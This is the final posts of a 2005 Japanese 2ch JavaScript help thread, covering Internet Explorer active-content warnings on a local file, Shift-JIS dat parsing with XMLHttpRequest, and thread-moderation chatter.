「セキュリティ保護のため、コンピュータにアクセスできるアクティブコンテンツは表示されないよう、InternetExplorer で制限されています。」
なんて出てくるんですよね。
それ許可すると次に
「スクリプトやActivXコントロールなどのアクティブコンテンツは役に立ちますが、コンピュータに問題を起こすものもあります。」
なんて出てきやがります。

毎回毎回うざいので、というかそれではお気に入りの価値が下がるので、このファイルだけ常時スクリプトを許可したいと。

そんな事ってできますか?

JavaScriptとは直接は関係ないですけどヨロシク。

970 名前:Name_Not_Found 投稿日:2005/11/02(水) 02:51:59 ID:???
>>969
Windows板いけ

971 名前:Name_Not_Found 投稿日:2005/11/02(水) 02:59:32 ID:???
スクリプト関連板行けと言われた場合どうすれば。。。?

972 名前:Name_Not_Found 投稿日:2005/11/02(水) 03:04:15 ID:???
Windowsのセキュリティの設定の話だろ?
開くファイルの中身の構文ならここだけど、開く時点の話ならスレ違い

973 名前:Name_Not_Found 投稿日:2005/11/02(水) 03:32:13 ID:???
>>969
たぶん、JavaScriptでブラウザ側でやろうとしないで、
お気に入りを読み込んで、htmlに整形射出してブラウザに放り込むプログラムを書いた方が
安全確実で早い希ガス。

974 名前:Name_Not_Found 投稿日:2005/11/02(水) 04:13:36 ID:???
>>969
ぐぐればでてくるよ。
http://www.macromedia.com/jp/support/dreamweaver/ts/documents/dw_xp_sp2.htm#active
自分もたいそううざかった経験があるので。

975 名前:Name_Not_Found 投稿日:2005/11/02(水) 07:39:12 ID:???
>>969
そのhtmlの拡張子をhtaに変更して
実行してみな。


976 名前:Name_Not_Found 投稿日:2005/11/02(水) 08:13:55 ID:???
>>968
で、>>966の書いたコードのどこが問題なのか説明してみ。
有効なアドバイスがしてあげられるといいね。

977 名前:Name_Not_Found 投稿日:2005/11/02(水) 08:35:04 ID:???
>>960
>>961
offsetWidthでした。ありがとう。

978 名前:Name_Not_Found 投稿日:2005/11/02(水) 08:55:19 ID:???
>>976
いつもふんぞり返っているが、見透かされてるんだよ、皆に。
JS で何か作ったことあるか? 少しは謙虚になれよ。

979 名前:958 投稿日:2005/11/02(水) 09:26:32 ID:???
>>960,962
ありがとうございました。そちらで勉強してからまたここへ伺います。
その節はよろしくです。
サンクスアゲイン。

980 名前:「まず>>2-3読んでこのレスの過去スレ全集へ飛べ」 投稿日:2005/11/02(水) 09:53:53 ID:???
あれ、まだスレ埋まってないんだw次スレもなしw
昨日の朝と変わらんじゃんw

>>951
本分に入れたところで、(善意悪意関係なく)見ない香具師は見ないわけだし、
初心者はいきなり書きこんじゃうことが多いでしょ?
なら、もっと視覚的に分かりやすく「名前」に
「まず>>2-3読んでこのレスの過去スレ全集へ飛べ」
と入れればどうかいうこと。天婦羅職人は名無しじゃなく
「まず>>2-3読んでこのレスの過去スレ全集へ飛べ」
で天婦羅揚げれば、ということ。

このレスのように。


981 名前:「まず>>2-3読んでこのレスの過去スレ全集へ飛べ」 投稿日:2005/11/02(水) 09:56:28 ID:???
と思ったら、もう次スレ作ってんじゃんよ・・・・ショボン

982 名前:Name_Not_Found 投稿日:2005/11/02(水) 09:59:07 ID:???
>>981
スマソ、今作り始めたところだった。もうちょっと早く書いて
くれたらよかったんだけど…

新スレ
http://pc8.2ch.net/test/read.cgi/hp/1130892220/l50

983 名前:Name_Not_Found 投稿日:2005/11/02(水) 10:02:56 ID:???
>>981
そうか、名前に入れるっていう提案だったよな。あんまりよく
分かって無かったかも試練。スマソかった。次スレの時は実施
しようね。

984 名前:「まず>>2-3読んでこのレスの過去スレ全集へ飛べ」 投稿日:2005/11/02(水) 10:07:28 ID:???
まあ、乙だ。ローカルルール変更は出しておいたから。

985 名前:Name_Not_Found 投稿日:2005/11/02(水) 10:32:37 ID:???
スレタイに入れるのはどうなの?

986 名前:Name_Not_Found 投稿日:2005/11/02(水) 10:36:35 ID:???
読まずに質問してる人には、回答しなければいいんです。
文句言いながら、なんだかんだ答える人がいるから、
検索エンジン代わりにされるんですよ。

987 名前:「まず>>2-3読んでこのレスの過去スレ全集へ飛べ」 投稿日:2005/11/02(水) 10:50:34 ID:???
ただ、あまりスルーしすぎても質問できずらい雰囲気になって
結局スレが閑散とするからな。
過去スレにうまく誘導できればと思ってるわけだ。

スレタイはこれ以上長くできないだろう。
前スレとの照合もある。

988 名前:Name_Not_Found 投稿日:2005/11/02(水) 11:12:56 ID:???
ローカルルール変更って、スレの?板の?

989 名前:Name_Not_Found 投稿日:2005/11/02(水) 13:07:29 ID:???
>>988
そうじゃなくて。ローカルルールにスレへのリンクがあるでしょ。
新スレになったらリンクを新スレにつけかえてくれないと困る
んで、そうしてくれという依頼を2ch運用情報板の専用スレに
出すわけ。テンプレやルールが変わるわけじゃないからご安心を。
>>986
読まずに質問するヤシを叩くのもまた楽しいじゃん。そして
叩かれて読むようになれば世の中のため。無視したらそういう
楽しみが全部なくなるからね。
>>987
同意、今使ってない名前を使うというのはイイと思うよ。

新スレ
http://pc8.2ch.net/test/read.cgi/hp/1130892220/l50

990 名前:Name_Not_Found 投稿日:2005/11/02(水) 17:47:24 ID:???
>>989
(2)ハハハ。全くだ。激同。


991 名前:「まず>>2-3読んでこのレスの過去スレ全集へ飛べ」 投稿日:2005/11/02(水) 18:18:16 ID:???
埋めついでに

>>988
普通のグラウザで板TOPみると、板名があって
下に長たらしい案内があるだろう。(この板なんかはそうだ)
専用ブラウザなら書きこみ窓の別タブに用意してあるはず

各種総合スレ
『Webサイト制作初心者用スレッド』
『CSS・スタイルシート質問用スレッド』
『JavaScriptの質問用スレッド』   ←ここのリンク変更を出したよ。ということ
『■■HP評価スレッド■■』
『Dreamweaver・ホームページビルダー・Golive・Photoshop・Illustrator』等は専用スレがあります

992 名前:「まず>>2-3読んでこのレスの過去スレ全集へ飛べ」 投稿日:2005/11/02(水) 18:23:21 ID:???
埋めついで

依頼の仕方
運営→「2ch運用情報」板→■ローカルルールの申請・変更スレッド

現在は
「■ローカルルールの申請・変更スレッド10」
ttp://qb5.2ch.net/test/read.cgi/operate/1122123520/

書き方は、
他の真似すりゃいい。

993 名前:「まず>>2-3読んでこのレスの過去スレ全集へ飛べ」 投稿日:2005/11/02(水) 18:28:24 ID:???
あほだ。寝てないからインチキ書く始末。

正しくは

依頼の仕方
運営→「2ch運用情報」板→■ローカルルール等リンク先更新総合スレッド

現在は
■ローカルルール等リンク先更新総合スレッド15
ttp://qb5.2ch.net/test/read.cgi/operate/1126794875/

書き方は他を真似ろ

994 名前:Name_Not_Found 投稿日:2005/11/02(水) 18:56:10 ID:???
新スレ
http://pc8.2ch.net/test/read.cgi/hp/1130892220/l50

995 名前:Name_Not_Found 投稿日:2005/11/02(水) 19:27:53 ID:???
埋めついでの質問です。

javascriptでスレッドのdatを整形表示出来ないかと思い
やってみたのですが、IE専用のようです↓

http://www.geocities.jp/mirrorhenkan/dat2html-3/
http://www.geocities.jp/mirrorhenkan/dat2html-3/dat/read.html?key=1002458845

他のブラウザでも読めるようにしたいので>>3のA10のように
xmlhttpまたはxmlhttprequestを使ってみたのですが、
datファイルがUTF-8でないと読みとってくれないようです。

http://www.geocities.jp/mirrorhenkan/dat2html-3/dat/read-xml.html?key=utf8

datはshift-jisのままで、どうにかIE以外のブラウザで読み取り可能な方法は
何か考えられるでしょうか。

あと、上二つともタイトル(<title>〜</title>)がうまく取り込めませんでした。
何か良い方法がありましたら御教示頂けないでしょうか。

996 名前:Name_Not_Found 投稿日:2005/11/02(水) 19:50:24 ID:???
あと5レスなんで誰も答えんでしょ。
1000取り合戦始まる前に
新スレにマルチしとけ。

997 名前:Name_Not_Found 投稿日:2005/11/02(水) 21:58:20 ID:???
997

998 名前:Name_Not_Found 投稿日:2005/11/02(水) 21:59:03 ID:???
998

999 名前:Name_Not_Found 投稿日:2005/11/02(水) 21:59:34 ID:???
999

1000 名前:Name_Not_Found 投稿日:2005/11/02(水) 21:59:46 ID:???
しね

1001 名前:1001 投稿日:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。


戻る

偽Dat2HTML LO v1.0b13 Converted.
ナスカ無料ホームページ無料オンラインストレージ